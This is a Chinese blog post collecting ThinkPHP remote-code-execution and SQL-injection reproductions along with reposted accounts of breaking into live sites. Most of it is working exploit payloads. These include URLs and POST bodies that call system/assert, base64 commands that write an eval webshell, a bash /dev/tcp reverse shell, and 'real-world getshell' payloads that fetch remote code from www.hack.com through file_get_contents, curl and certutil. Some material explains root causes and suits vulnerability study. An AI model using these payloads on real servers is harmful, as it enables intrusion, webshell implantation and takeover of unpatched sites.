• thinkphp漏洞复现


    0x00:总述

    在版本小于5.0.13,不开启debug的情况下 会通过变量覆盖修改$request类的变量的值通过bindParams中的param函数进行任意函数调用

    _method=__construct&method=get&filter=system&s=whoami
    

    在版本小于5.0.13,开启debug的情况下会执行命令两次 一次在bindParams的param 一次在run()中的param函数

    _method=__construct&method=get&filter=system&s=whoami
    

    在版本大于5.0.13小于5.0.21情况下,开启debug的情况下,在run()中的param函数执行命令

    _method=__construct&method=get&filter=system&s=whoami
    

    在版本大于5.0.13小于5.0.21情况下,不开启debug的下需要完整版thinkphp,在method分支下param函数rce

    POST /index.php?s=captcha
    _method=__construct&method=get&filter=system&s=whoami
    

    在大于5.0.21小于等于5.0.23的情况下,由于修改了method函数的逻辑,无法随意用变量,这里统一用只能用get[],route[]。
    完整版ThinkPHP如下

    POST /index.php?s=captcha
    _method=__construct&method=get&filter=system&get[]=whoami
    _method=__construct&method=get&filter=system&route[]=whoami
    

    开启debug如下

    _method=construct&method=get&filter=system&route[]=whoami
    

    在5.0.24的时候由于限制了表单请求伪装传入的参数,传入的参数只能为限定的参数,无法进行request类下任意函数调用

    0x01:ThinkPHP 2.x和3.0 任意代码执行漏洞

    使用preg_replace的/e模式匹配路由,导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

    影响版本

    Thinkphp 2.x, ThinkPHP 3.0版本(Lite模式)
    

    漏洞复现

    image-20210729123530053

    payload:

    http://172.22.0.1:8080//index.php?s=/index/index/name/${phpinfo()}
    http://172.22.0.1:8080//index.php?s=/a/b/c/${phpinfo()}
    

    image-20210729124415633

    写入Webshell

    http://172.22.0.1:8080/index.php?s=a/b/c/${@print(eval($_POST[shell]))}
    

    image-20210729124719782

    调用Webshell

    image-20210729124841978

    蚁剑连接

    image-20210729132136319

    反弹shell

    bash -i >& /dev/tcp/192.168.88.133/4444 0>&1
    

    0x02:ThinkPHP5.0.0- 5.0.23 远程代码执行漏洞

    ​ 5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

    影响版本

    Thinkphp 5.0.0~ 5.0.23
    

    漏洞复现

    http://192.168.88.133:8080/?s=captcha
    POST提交:
    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
    

    image-20210729133336991

    打算写入一句话木马,发现$_POST被过滤掉了,经过测试,只要检测到$_这样的字符串,其后面的字符会被过滤掉一部分,其实只要在$符号前用\转义就行

    image-20210729134909356

    尝试base64编码写入,完整的webshell

    image-20210729140000821

    http://192.168.88.133:8080/?s=captcha
    POST提交:
    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pgo= | base64 -d >shell.php
    

    image-20210729141939649

    蚁剑连接

    image-20210729141719418

    0x03:ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞

    ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

    影响版本

    ThinkPHP5 5.0.22/5.1.29
    

    漏洞复现

    image-20210729142827682

    payload:

    http://192.168.88.133:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
    

    image-20210729143015496

    payload

    http://192.168.88.133:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=id
    
    http://192.168.88.133:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
    

    image-20210729143148073

    同样的利用base64编码写入webshell

    http://192.168.88.133:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo -n PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pgo= | base64 -d >shell.php
    

    成功写入

    image-20210729143519818

    getshell

    image-20210729143610022

    0x04:ThinkPHP5 SQL注入漏洞 && 敏感信息泄露

    影响版本

    ThinkPHP < 5.1.23
    

    payload

    http://your-ip/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
    

    信息成功被爆出:

    img

    通过DEBUG页面,我们找到了数据库的账号、密码:

    img

    这又属于一个敏感信息泄露漏洞。不允许子查询的SQL注入点

    0x05:ThinkPHP5.x.x各版本实战环境getshell

    -5.1.18

    http://www.xxxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index_bak2.php',file_get_contents('https://www.hack.com/xxx.js'));?>
    

    -5.0.5

    waf对eval进行了拦截禁止了assert函数对eval函数后面的括号进行了正则过滤对file_get_contents函数后面的括号进行了正则过滤
    http://www.xxxx.com/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=2.php&vars[1][1]=<?php /*1111*//***/file_put_contents/*1**/(/***/'index11.php'/**/,file_get_contents(/**/'https://www.hack.com/xxx.js'))/**/;/**/?>
    

    -5.1.18

    所有目录都无写权限,base64函数被拦截
    http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_POST[1])
    

    -5.0.18

    windowshttp://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=1
    http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo()
    使用certutilhttp://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=passthru&vars[1][0]=cmd /c certutil -urlcache -split -f https://www.hack.com/xxx.js uploads/1.php由于根目录没写权限,所以写到uploads
    

    -5.0.14

    eval('')和assert('')被拦截,命令函数被禁止
    http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo();
    http://www.xxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_GET[1])&1=call_user_func_array("file_put_contents",array("3.php",file_get_contents("https://www.hack.com/xxx.js")));
    

    -5.0.11

    http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=curl https://www.hack.com/xxx.js -o ./upload/xxx.php
    

    -5.0.14

    php7.2http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=1.txt&vars[1][1]=1
    http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index111.php',file_get_contents('https://www.hack.com/xxx.js'));?>写进去发现转义了尖括号
    通过copy函数http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][0]= https://www.hack.com/xxx.js&vars[1][1]=112233.php
    

    0x06:实战文章

    第一篇:https://mp.weixin.qq.com/s/itfVog0HMNf5CizM7-QF5w

    发现某站部署Thinkphp v5系统,并且在系统配置中是默认配置的debug模式:

    图片

    在debug状态下,我们知道网站的绝对路径,并且ThinkPHP版本号为V5.0.x,由于开启debug状态,构造相应payload进行探测

    POST:_method=__construct&filter[]=system&get[]=whoami
    

    发现php配置文件中应该设置了disabled_function:

    图片

    我们知道在phpinfo()中即使加入参数,也不影响其执行,因此

    call_user_func('phpinfo()','1')
    

    同样能够执行

    先看一波phpinfo看看禁用哪些函数,发现还设置了open_basedir

    图片

    图片

    passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru
    

    把最为常用的函数禁用了,当该PHP版本低于7.2,因此assert这个关键的函数并没有过滤,也就意味着我们能先使用assert来做一些操作,本来是直接构造

    POST:_method=__construct&filter[]=assert&get[]=assert($_POST[1]);
    

    然后用antsword连上就好,但是发现并不能成功连接,原因可能是antsword和菜刀仅支持eval后门,可能现在就需要换一换思路:

    在默认配置中,file_get_contents可以读取URL内容并进行输出,并且file_get_contents是不会被ban的,这里先验证一下:

    POST:_method=__construct&filter[]=assert&get[]=assert($_POST[1]);&1=print(file_get_contents("./index.php"));
    

    图片

    因此直接结合网站绝对路径,我们知道在public是面向用户的,我们可以利用file_get_contents读取马后使用file_put_contents写入到public目录下,这样就能够一句话进行连接

    _method=__construct&filter[]=assert&get[]=$a=(file_get_contents("http://马的地址"));$b=file_put_contents('网站根目录/public/xxx.php',$a);
    

    最终getshell

    图片

    可见如果目前还在使用Thinkphp5.0版本是十分危险的,应该及时更新版本或者相应打上补丁

    第二篇 :https://mp.weixin.qq.com/s/U_9vzqD0YTm9U-eA-XVngg

    项目里遇到一个站,用的是ThinkPHP V5.0.*框架,且开启了debug模式,本以为一发payload的就能解决的事情,没想到拿下的过程还得小绕一下...

    1. 尝试命令执行,system被限制了

    图片

    1. 尝试包含日志文件,open_basedir限制了

    图片

    1. 这里有个思路,可以去包含runtime下的日志文件,但是thinkphp的日志文件比较大,而且有时候会有很多奇怪的问题阻断代码执行,暂且作为备选方案

    图片

    1. 尝试通过thinkphp本身Library中设置Session的方法把脚本写入tmp目录里的Session文件,然后进行包含
    _method=__construct&filter[]=think\Session::set&method=get&server[REQUEST_METHOD]=<? phpinfo();?>
    

    但是。。。

    图片

    俗话说,三个臭皮匠顶一个诸葛亮,求助师傅们后,给出了解决的办法

    1. Noel 师傅和HTF师傅的解决方法及分析:

    图片

    Request.php的filtervalue函数下存在call_user_func,根据Payload,跟踪下流程

    首先会进入App.php的Run方法

    public static function run(Request $request = null){        ………………………………
            // 未设置调度信息则进行 URL 路由检测
            if (empty($dispatch)) {            /*执行当前类的routeCheck方法,获取调度信息,如访问index模块下index控制器里的index方法,则
                    $dispatch = array(2) { ["type"]=> string(6) "module"
                        ["module"]=> array(3) {
                            [0]=> string(5) "index" [1]=> string(5) "index" [2]=> string(5) "index" } }
                    */
                $dispatch = self::routeCheck($request, $config);
            }        // 记录当前调度信息 将获取的调度信息,即模块,控制器,方法名存入Request类的dispatch属性中
            $request->dispatch($dispatch);        // 记录路由和请求信息 调式模式,在\application\config.php 参数app_debug可配置
            if (self::$debug) {
                Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
                Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
                Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
            }        ………………………………}
    

    这里我们主要关注routeCheck和param两个函数,先看routeCheck

    public static function routeCheck($request, array $config)
        {
            $path   = $request->path();
            $depr   = $config['pathinfo_depr'];
            $result = false;      ………………………………
            // 路由检测(根据路由定义返回不同的URL调度)
            $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
    

    主要是将请求参数什么的传入,经过check后就基本上都处理好了

    图片

    在调试模式开启的情况下可以进入param函数

    if (empty($this->param)) {
                $method = $this->method(true);
        ......        $this->param = array_merge($this->get(false), $vars, $this->route(false));
    }return $this->input($this->param, $name, $default, $filter);    
    

    跟进input函数

        public function input($data = [], $name = '', $default = null, $filter = '')
        {
    
    		......
            $filter = $this->getFilter($filter, $default);        if (is_array($data)) {
                array_walk_recursive($data, [$this, 'filterValue'], $filter);
                reset($data);
            } else {            $this->filterValue($data, $name, $filter);
            }
    

    getFilter取出filter的值,在这里也就是assert

    array_walk_recursive

    array_walk_recursive() 函数对数组中的每个元素应用用户自定义函数。在函数中,数组的键名和键值是参数。该函数与 array_walk() 函数的不同在于可以操作更深的数组(一个数组中包含另一个数组)。

    及对$data的每一个元素应用filterValue函数,跟进filterValue

    function filterValue(&$value, $key, $filters){
     ......  
    if (is_callable($filter)) {                // 调用函数或者方法过滤
                    $value = call_user_func($filter, $value);
                }
    ......
    }
    
    1. 铳梦师傅和HTF师傅的解决方法及分析:

    payload参考:

    来自:https://xz.aliyun.com/t/3570#toc-4

    http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
    

    执行phpinfo(这里注意看 ?s= 后的参数)

    https://127.0.0.1/?s=../\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
    

    拿shell

    https://127.0.0.1/?s=../\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy('http://127.0.0.1/shell.txt','test.php')
    

    为什么要这么构造呢,给出当前的目录情况以及分析:

    图片

    Route.php的parseUrl函数会对url进行处理

    private static function parseUrl($url, $depr = '/', $autoSearch = false)
        {
            .......
            $url              = str_replace($depr, '|', $url);        list($path, $var) = self::parseUrlPath($url);
        ......
        }
    

    首先将url中的/替换为|之后是parseUrlPath将url分割

       private static function parseUrlPath($url)
        {        // 分隔符替换 确保路由定义使用统一的分隔符
            $url = str_replace('|', '/', $url);
            $url = trim($url, '/');
            $var = [];        if (false !== strpos($url, '?')) {
     			......
                ......
            } elseif (strpos($url, '/')) {            // [模块/控制器/操作]
                $path = explode('/', $url);
            } else {
                ......
            }        return [$path, $var];
        }
    

    得到如下三部分

    图片

    模块加载时Loder.php下的parseName函数

        public static function parseName($name, $type = 0, $ucfirst = true)
        {        if ($type) {
                $name = preg_replace_callback('/_([a-zA-Z])/', function ($match) {                return strtoupper($match[1]);
                }, $name);            return $ucfirst ? ucfirst($name) : lcfirst($name);
            } else {            return strtolower(trim(preg_replace("/[A-Z]/", "_\\0", $name), "_"));
            }
        }
    

    图片

    现在就会实例化\Think\app类并执行invokefunction方法

    图片

    所以加../\的原因是可以再往前跳一层

    查看禁用

    图片

    1. 一开始没仔细看禁用的内容,直接就用了这个

    https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

    但是发现putenv被禁用了

    图片

    1. 换个方法,通过这篇文章

    https://mochazz.github.io/2018/09/27/渗透测试之绕过PHP的disable_functions/

    了解到利用pcntl扩展,确认系统支持

    图片

    最终成功执行命令

    图片

    第三篇 :https://mp.weixin.qq.com/s/-EgERP46Xf73MYEqFiXKEw

    0x01 初探
    打开这个站,debug开了 还是tp5.1.29 用IP去访问显示lnmp搭建,disable_function只禁用了几个函数

    图片

    先用tp5.1X通杀版本payload打试试,payload 执行成功

    ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
    

    图片

    使用file_get_contents去getshell,意料之中根目录没有写入权限

    ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=test1.txt&vars[1][]=%3C?php%20phpinfo();?%3E
    

    图片
    因为开了debug,有文件路径然后想着一顿操作找路径去写webshell,但是太浪费时间。/tmp目录一般都会有写入权限,如果能写进去 可以进行包含的话就可以进一步操作。包含使用“think__include_file”方法去包含,先试试能否进行包含

    先写入一个PHPinfo文件到tmp目录:

    ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=/tmp/test1.txt&vars[1][]=%3C?php%20phpinfo();?%3E
    

    图片

    再去包含它:

    ?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=think\__include_file&vars[1][]=/tmp/test1.txt
    

    图片

    上图包含在/tmp目录下创建的phpinfo执行成功,前面PHPinfo获取到的"disable_function,“popen" 没有被禁用,就用他来执行一个命令。

    执行

    "ls -la /home/wwwroot/xxxxxx/public/"
    

    探测web路径下有写入权限的目录, "popen" 执行命令

    ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=/tmp/test1.txt&vars[1][]=<?php $fd = popen("command",'r'); $ret = fgets($fd);$fd = popen("ls -la /home/wwwroot/XXXXXXXXXX/test/public >/tmp/test1.txt", 'r');pclose($fd);print(fgets(fopen("/tmp/test1.txt",'r')));$fd=popen("whoami",'r');while($s=fgets($fd)){print_r($s);}
    

    返回的长度为249:

    图片

    包含"/tmp/test1.txt"使其执行

    ?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=think\__include_file&vars[1][]=/tmp/test1.txt
    

    执行成功,返回结果权限是"www", ls命令的回显可能没来得及print,使用“readfile”函数去读取"/tmp/test1.txt"即可,"include_file"方法改为"readfile"

    图片

    图片
    成功读取,仅有"static"目录具有权限,到这里就没什么难度了,再用"file_put_contents" 把shell写到static目录即可

    ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=/home/wwwroot/XXXXXXXXX/test/public/x.php&vars[1][]=phpshellXXXXXXXXXXXX
    

    行云流水 getshell, 打赏了一包华子收工。

    图片
    thinkPHP5 RCE漏洞这么多,多走几步路就好了

    参考链接:

    https://www.mimanchi.online/index.php/archives/12/

    0x07:GitHub项目

    thinkphp v5.x 远程代码执行漏洞-POC集合 https://github.com/Hel10-Web/thinkphp-RCE-POC-Collection

    thinkphp反序列化漏洞复现及POC编写 https://github.com/Dido1960/thinkphp

    关于ThinkPHP框架的历史漏洞分析集合 https://github.com/Mochazz/ThinkPHP-Vuln

  • 相关阅读:
    批量管理服务器,批量分发文件
    IIS最大连接数优化
    在CentOS 7中安装与配置JDK8
    可扩展流程设计工具方案
    An internal erroroccurred during: "Removing compiler problem markers...".java.lang.String
    .NET和java之争实没必要
    提高生产率的VS插件
    Java Synchronized关键字
    Flex拖动实现方法
    WF3.0和4.0区别介绍
  • 原文地址:https://www.cnblogs.com/HelloCTF/p/15748360.html
Copyright © 2020-2023  润新知